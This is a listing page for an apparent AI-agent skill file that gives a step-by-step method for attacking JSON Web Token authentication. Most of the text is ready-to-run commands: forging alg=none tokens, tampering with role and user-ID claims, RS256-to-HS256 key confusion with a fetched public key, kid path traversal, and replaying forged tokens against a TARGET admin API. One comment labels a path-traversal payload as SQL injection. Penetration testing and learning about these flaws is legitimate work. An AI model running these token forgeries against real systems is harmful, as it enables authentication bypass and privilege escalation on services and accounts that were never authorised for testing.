Attack JWT

DevOps & Security

attack-jwt

Attack JWT is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

JWT token attacks — alg:none bypass, key confusion, claim tampering, signature stripping

View on GitHub ↗

QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

Open your project in Codex.
Copy and paste the prompt below.
Review files and risks before approving any action.

Prompt to paste

Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-jwt/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-jwt, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

JWT Token Attack

Objective

Exploit JWT implementation weaknesses to bypass authentication, escalate privileges, or forge tokens.

Testing Methodology

Phase 1: Decode & Analyze

# Automated JWT analysis and tamper token generation
attack_script jwt_tamper EYTOKEN --json-output

# Manual decode
echo "HEADER.PAYLOAD.SIG" | cut -d. -f1 | base64 -d 2>/dev/null
echo "HEADER.PAYLOAD.SIG" | cut -d. -f2 | base64 -d 2>/dev/null

Check for:

Algorithm (alg field): RS256, HS256, none
Claims: role, is_admin, sub, exp, aud, iss
Key ID (kid): SQL injection, path traversal potential

Phase 2: Algorithm Attacks

# Generate alg=none token
attack_script jwt_tamper EYTOKEN --set-header alg=none

# Role escalation
attack_script jwt_tamper EYTOKEN --set role=admin --set-header alg=none

# User ID swap
attack_script jwt_tamper EYTOKEN --set sub=1 --set-header alg=none

# HS256 with known/weak key
attack_script jwt_tamper EYTOKEN --set role=admin --key "secret"

Phase 3: Key Confusion (RS256 → HS256)

If server uses RS256, try signing with the public key as HS256 secret:

# Fetch public key
curl -s https://TARGET/.well-known/jwks.json

# Convert JWK to PEM and sign
attack_script jwt_tamper EYTOKEN --set role=admin --key "$(cat public.pem)" --set-header alg=HS256

Phase 4: kid Injection

# SQL injection via kid
attack_script jwt_tamper EYTOKEN --set-header "kid=../../../../../../dev/null" --key ""

# kid pointing to accessible file
attack_script jwt_tamper EYTOKEN --set-header "kid=/proc/sys/kernel/hostname"

Phase 5: Verify Impact

# Test tampered token
curl -s -H "Authorization: Bearer TAMPERED_TOKEN" https://TARGET/api/admin/users

What Constitutes a Finding

Attack	Severity
alg=none accepted — auth bypass	Critical (P1)
Role escalation via claim tampering	Critical (P1)
RS256→HS256 key confusion	Critical (P1)
Weak signing key (crackable)	High (P2)
kid SQL injection	Critical (P1)
Expired tokens accepted	Medium (P3)